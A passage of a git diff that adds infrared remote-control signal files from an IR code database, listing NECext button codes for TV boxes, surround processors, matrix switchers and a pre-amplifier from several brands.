+protocol: NECext +address: 04 0F 00 00 +command: 23 00 00 00 +# +name: KEY_TV +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 24 00 00 00 +# +name: KEY_VIDEO +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 25 00 00 00 +# +name: KEY_TEXT +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 26 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 26 00 00 00 +# +name: KEY_VCR +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 48 00 00 00 +# +name: KEY_TEXT +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 5A 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 5B 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 5C 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 5D 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 5E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Asus/Unknown_TVBox/134,107.ir b/assets/resources/infrared/_CSV-IRDB_/Asus/Unknown_TVBox/134,107.ir new file mode 100644 index 000000000..32b9ebc7e --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Asus/Unknown_TVBox/134,107.ir @@ -0,0 +1,194 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 09 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 0A 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 0B 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 0C 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 0D 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 0E 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 0F 00 00 00 +# +name: KEY_TV +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 10 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 11 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 12 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 13 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 14 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 15 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 16 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 17 00 00 00 +# +name: caption +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 18 00 00 00 +# +name: mts +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 19 00 00 00 +# +name: display +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 1A 00 00 00 +# +name: scan +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 1B 00 00 00 +# +name: rot +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 1C 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 1D 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 1E 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 1F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Aten/Unknown_VS-431/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Aten/Unknown_VS-431/0,-1.ir new file mode 100644 index 000000000..0cea77036 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Aten/Unknown_VS-431/0,-1.ir @@ -0,0 +1,38 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1C 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1D 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Atlanta DTH/Unknown_DTH/5,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Atlanta DTH/Unknown_DTH/5,-1.ir new file mode 100644 index 000000000..93aefa099 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Atlanta DTH/Unknown_DTH/5,-1.ir @@ -0,0 +1,194 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 18 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 19 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 1A 00 00 00 +# +name: SIGNAL +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 1B 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 1C 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 1D 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 1E 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 1F 00 00 00 +# +name: SYS +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 20 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 21 00 00 00 +# +name: FUNC +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 22 00 00 00 +# +name: D_A +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 23 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 24 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 25 00 00 00 +# +name: KEY_TEXT +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 26 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 27 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 28 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 29 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 2A 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 2B 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 2C 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 2D 00 00 00 +# +name: TV_RADIO +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 2E 00 00 00 +# +name: KEY_EPG +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 2F 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 30 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 31 00 00 00 +# +name: KEY_FAVORITES +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 32 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 33 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 34 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 35 00 00 00 +# +name: R_L +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 36 00 00 00 +# +name: KEY_FAVORITES +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 37 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Atlantic Technology/Surround Processor/131,95.ir b/assets/resources/infrared/_CSV-IRDB_/Atlantic Technology/Surround Processor/131,95.ir new file mode 100644 index 000000000..521d858c7 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Atlantic Technology/Surround Processor/131,95.ir @@ -0,0 +1,134 @@ +Filetype: IR signals file +Version: 1 +# +name: 0 +type: parsed +protocol: NECext +address: 83 5F 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 83 5F 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 83 5F 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 83 5F 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 83 5F 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 83 5F 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 83 5F 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 83 5F 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 83 5F 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 83 5F 00 00 +command: 09 00 00 00 +# +name: STEREO +type: parsed +protocol: NECext +address: 83 5F 00 00 +command: 10 00 00 00 +# +name: AUX_2 +type: parsed +protocol: NECext +address: 83 5F 00 00 +command: 13 00 00 00 +# +name: < +type: parsed +protocol: NECext +address: 83 5F 00 00 +command: 1A 00 00 00 +# +name: > +type: parsed +protocol: NECext +address: 83 5F 00 00 +command: 1B 00 00 00 +# +name: TEST +type: parsed +protocol: NECext +address: 83 5F 00 00 +command: 1F 00 00 00 +# +name: THEATER_COMP. +type: parsed +protocol: NECext +address: 83 5F 00 00 +command: 40 00 00 00 +# +name: UP +type: parsed +protocol: NECext +address: 83 5F 00 00 +command: 46 00 00 00 +# +name: AM/FM +type: parsed +protocol: NECext +address: 83 5F 00 00 +command: 4A 00 00 00 +# +name: AUX_1 +type: parsed +protocol: NECext +address: 83 5F 00 00 +command: 52 00 00 00 +# +name: BYPASS +type: parsed +protocol: NECext +address: 83 5F 00 00 +command: 58 00 00 00 +# +name: TRIM +type: parsed +protocol: NECext +address: 83 5F 00 00 +command: 5C 00 00 00 +# +name: TONE +type: parsed +protocol: NECext +address: 83 5F 00 00 +command: 5E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Atlantic Technology/Surround Processor/64,64.ir b/assets/resources/infrared/_CSV-IRDB_/Atlantic Technology/Surround Processor/64,64.ir new file mode 100644 index 000000000..95a136749 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Atlantic Technology/Surround Processor/64,64.ir @@ -0,0 +1,98 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 00 00 00 00 +# +name: AUDIO +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 03 00 00 00 +# +name: TUNER +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 03 00 00 00 +# +name: NIGHT_MODE +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 12 00 00 00 +# +name: MULTI_ZONE +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 22 00 00 00 +# +name: PRESET_SCAN +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 2A 00 00 00 +# +name: TV +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 32 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 48 00 00 00 +# +name: SIX_CH._DIRECT +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 52 00 00 00 +# +name: DOLBY +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 62 00 00 00 +# +name: VCR +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 72 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 40 40 00 00 +command: A8 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 40 40 00 00 +command: B8 00 00 00 +# +name: TAPE +type: parsed +protocol: NECext +address: 40 40 00 00 +command: CA 00 00 00 +# +name: SAT +type: parsed +protocol: NECext +address: 40 40 00 00 +command: D2 00 00 00 +# +name: DVD +type: parsed +protocol: NECext +address: 40 40 00 00 +command: F2 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Atlantic Technology/Surround Processor/7,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Atlantic Technology/Surround Processor/7,-1.ir new file mode 100644 index 000000000..20ace1cab --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Atlantic Technology/Surround Processor/7,-1.ir @@ -0,0 +1,14 @@ +Filetype: IR signals file +Version: 1 +# +name: +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 3A 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 3C 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Atlas/Unknown_8776/8,0.ir b/assets/resources/infrared/_CSV-IRDB_/Atlas/Unknown_8776/8,0.ir new file mode 100644 index 000000000..8a5815475 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Atlas/Unknown_8776/8,0.ir @@ -0,0 +1,182 @@ +Filetype: IR signals file +Version: 1 +# +name: 0 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 09 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 0A 00 00 00 +# +name: TVGUIDE +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 0B 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 0C 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 0D 00 00 00 +# +name: P+ +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 0E 00 00 00 +# +name: P- +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 0F 00 00 00 +# +name: V+ +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 10 00 00 00 +# +name: V- +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 11 00 00 00 +# +name: RIGHT +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 12 00 00 00 +# +name: TV +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 13 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 14 00 00 00 +# +name: LEFT +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 15 00 00 00 +# +name: OK +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 16 00 00 00 +# +name: TELETEXT +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 18 00 00 00 +# +name: MUSIC +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 19 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 1A 00 00 00 +# +name: DOWN +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 1C 00 00 00 +# +name: UP +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 1D 00 00 00 +# +name: AUDIO +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 1E 00 00 00 +# +name: RCL +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 1F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Atlona/Matrix Switcher/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Atlona/Matrix Switcher/0,-1.ir new file mode 100644 index 000000000..dc3f98863 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Atlona/Matrix Switcher/0,-1.ir @@ -0,0 +1,386 @@ +Filetype: IR signals file +Version: 1 +# +name: IN_1_OUT_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 80 00 00 00 +# +name: IN_2_OUT_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 81 00 00 00 +# +name: IN_3_OUT_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 82 00 00 00 +# +name: IN_4_OUT_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 83 00 00 00 +# +name: IN_5_OUT_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 84 00 00 00 +# +name: IN_6_OUT_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 85 00 00 00 +# +name: IN_7_OUT_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 86 00 00 00 +# +name: IN_8_OUT_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 87 00 00 00 +# +name: IN_1_OUT_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 90 00 00 00 +# +name: IN_2_OUT_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 91 00 00 00 +# +name: IN_3_OUT_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 92 00 00 00 +# +name: IN_4_OUT_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 93 00 00 00 +# +name: IN_5_OUT_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 94 00 00 00 +# +name: IN_6_OUT_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 95 00 00 00 +# +name: IN_7_OUT_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 96 00 00 00 +# +name: IN_8_OUT_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 97 00 00 00 +# +name: IN_1_OUT_3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: A0 00 00 00 +# +name: IN_2_OUT_3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: A1 00 00 00 +# +name: IN_3_OUT_3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: A2 00 00 00 +# +name: IN_4_OUT_3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: A3 00 00 00 +# +name: IN_5_OUT_3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: A4 00 00 00 +# +name: IN_6_OUT_3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: A5 00 00 00 +# +name: IN_7_OUT_3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: A6 00 00 00 +# +name: IN_8_OUT_3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: A7 00 00 00 +# +name: IN_1_OUT_4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: B0 00 00 00 +# +name: IN_2_OUT_4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: B1 00 00 00 +# +name: IN_3_OUT_4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: B2 00 00 00 +# +name: IN_4_OUT_4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: B3 00 00 00 +# +name: IN_5_OUT_4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: B4 00 00 00 +# +name: IN_6_OUT_4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: B5 00 00 00 +# +name: IN_7_OUT_4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: B6 00 00 00 +# +name: IN_8_OUT_4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: B7 00 00 00 +# +name: IN_1_OUT_5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: C0 00 00 00 +# +name: IN_2_OUT_5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: C1 00 00 00 +# +name: IN_3_OUT_5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: C2 00 00 00 +# +name: IN_4_OUT_5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: C3 00 00 00 +# +name: IN_5_OUT_5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: C4 00 00 00 +# +name: IN_6_OUT_5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: C5 00 00 00 +# +name: IN_7_OUT_5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: C6 00 00 00 +# +name: IN_8_OUT_5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: C7 00 00 00 +# +name: IN_1_OUT_6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: D0 00 00 00 +# +name: IN_2_OUT_6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: D1 00 00 00 +# +name: IN_3_OUT_6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: D2 00 00 00 +# +name: IN_4_OUT_6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: D3 00 00 00 +# +name: IN_5_OUT_6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: D4 00 00 00 +# +name: IN_6_OUT_6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: D5 00 00 00 +# +name: IN_7_OUT_6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: D6 00 00 00 +# +name: IN_8_OUT_6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: D7 00 00 00 +# +name: IN_1_OUT_7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: E0 00 00 00 +# +name: IN_2_OUT_7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: E1 00 00 00 +# +name: IN_3_OUT_7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: E2 00 00 00 +# +name: IN_4_OUT_7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: E3 00 00 00 +# +name: IN_5_OUT_7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: E4 00 00 00 +# +name: IN_6_OUT_7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: E5 00 00 00 +# +name: IN_7_OUT_7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: E6 00 00 00 +# +name: IN_8_OUT_7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: E7 00 00 00 +# +name: IN_1_OUT_8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: F0 00 00 00 +# +name: IN_2_OUT_8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: F1 00 00 00 +# +name: IN_3_OUT_8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: F2 00 00 00 +# +name: IN_4_OUT_8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: F3 00 00 00 +# +name: IN_5_OUT_8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: F4 00 00 00 +# +name: IN_6_OUT_8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: F5 00 00 00 +# +name: IN_7_OUT_8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: F6 00 00 00 +# +name: IN_8_OUT_8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: F7 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Atlona/Matrix Switcher/134,107.ir b/assets/resources/infrared/_CSV-IRDB_/Atlona/Matrix Switcher/134,107.ir new file mode 100644 index 000000000..7562bc3dd --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Atlona/Matrix Switcher/134,107.ir @@ -0,0 +1,104 @@ +Filetype: IR signals file +Version: 1 +# +name: OUTPUT_D:_INPUT_2 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 00 00 00 00 +# +name: OUTPUT_A:_INPUT_1 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 01 00 00 00 +# +name: OUTPUT_A:_INPUT_2 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 02 00 00 00 +# +name: OUTPUT_A:_INPUT_3 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 03 00 00 00 +# +name: OUTPUT_B:_INPUT_1 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 04 00 00 00 +# +name: OUTPUT_B:_INPUT_2 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 05 00 00 00 +# +name: OUTPUT_B:_INPUT_3 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 06 00 00 00 +# +name: OUTPUT_C:_INPUT_1 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 07 00 00 00 +# +name: OUTPUT_C:_INPUT_2 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 08 00 00 00 +# +name: OUTPUT_C:_INPUT_3 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 09 00 00 00 +# +name: OUTPUT_D:_INPUT_1 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 11 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 12 00 00 00 +# +name: OUTPUT_D:_INPUT_3 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 17 00 00 00 +# +name: OUTPUT_A:_INPUT_4 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 1A 00 00 00 +# +name: OUTPUT_C:_INPUT_4 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 1B 00 00 00 +# +name: OUTPUT_B:_INPUT_4 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 1E 00 00 00 +# +name: OUTPUT_D:_INPUT_4 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 1F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Atlona/Switcher/134,107.ir b/assets/resources/infrared/_CSV-IRDB_/Atlona/Switcher/134,107.ir new file mode 100644 index 000000000..386f17a5d --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Atlona/Switcher/134,107.ir @@ -0,0 +1,32 @@ +Filetype: IR signals file +Version: 1 +# +name: 1 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 03 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 12 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 1A 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Audio Access/Pre-Amplifier/133,83.ir b/assets/resources/infrared/_CSV-IRDB_/Audio Access/Pre-Amplifier/133,83.ir new file mode 100644 index 000000000..abaef89ec --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Audio Access/Pre-Amplifier/133,83.ir @@ -0,0 +1,422 @@ +Filetype: IR signals file +Version: 1 +# +name: SOURCE_1 +type: parsed +protocol: NECext +address: 85 53 00 00 +command: 80 00 00 00 +# +name: TUNER +type: parsed +protocol: NECext +address: 85 53 00 00 +command: 80 00 00 00 +# +name: SOURCE_2 +type: parsed +protocol: NECext +address: 85 53 00 00 +command: 81 00 00 00 +# +name: CD-1 +type: parsed +protocol: NECext +address: 85 53 00 00 +command: 81 00 00 00 +# +name: SOURCE_3 +type: parsed +protocol: NECext +address: 85 53 00 00 +command: 82 00 00 00 +# +name: CD-2 +type: parsed +protocol: NECext +address: 85 53 00 00 +command: 82 00 00 00 +# +name: TAPE +type: parsed +protocol: NECext +address: 85 53 00 00 +command: 82 00 00 00 +# +name: ALL/OFF +type: parsed +protocol: NECext +address: 85 53 00 00 +command: 83 00 00 00 +# +name: ON_/_OFF +type: parsed +protocol: NECext +address: 85 53 00 00 +command: 83 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 85 53 00 00 +command: 83 00 00 00 +# +name: SOURCE_6 +type: parsed +protocol: NECext +address: 85 53 00 00 +command: 84 00 00 00 +# +name: F1 +type: parsed +protocol: NECext +address: 85 53 00 00 +command: 84 00 00 00 +# +name: SOURCE_4 +type: parsed +protocol: NECext +address: 85 53 00 00 +command: 85 00 00 00 